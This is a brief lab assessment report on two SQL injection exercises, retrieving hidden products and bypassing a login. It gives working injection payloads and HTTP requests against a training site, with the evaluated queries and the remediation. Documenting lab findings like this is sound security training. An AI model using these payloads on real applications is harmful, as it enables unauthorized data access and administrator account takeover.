

SQL Injection Short Assessment Reports (Lab 1 & Lab 2)

Lab 1: SQL Injection - Hidden Data Retrieval

Vulnerability Type	SQL Injection in <code>WHERE</code> clause
Severity	HIGH
Vulnerable Parameter	<code>category</code> (GET request)
Assessor	Rachit Dhyani

Objective & Concept

Modify the category filter query to force the database to evaluate the condition to `TRUE`, displaying unreleased/hidden products.

Proof of Concept (Payload)

```
GET /filter?category=Gifts'+OR+1=1-- HTTP/1.1
Host: target-app.web-security-academy.net
```

Evaluated Query: `SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1`

Impact & Remediation

- **Impact:** Unauthorized access to restricted/unreleased product catalog data.
- **Remediation:** Implement Parameterized Queries / Prepared Statements.

Lab 2: SQL Injection - Authentication Bypass

Vulnerability Type	SQL Injection in Login / Authentication form
Severity	CRITICAL / HIGH
Vulnerable Parameter	<code>username</code> (POST request)
Assessor	Rachit Dhyani

Objective & Concept

Bypass authentication without knowing the password by injecting SQL control characters to comment out password check logic.

Proof of Concept (Payload)

```
POST /login HTTP/1.1
Host: target-app.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
```

```
username=administrator'--&password=anything
```

Evaluated Query: `SELECT * FROM users WHERE username = 'administrator'--' AND password = '...'`

Impact & Remediation

- **Impact:** Full Account Takeover (ATO) of administrator account without credentials.
- **Remediation:** Use Prepared Statements and ORM frameworks for safe SQL execution.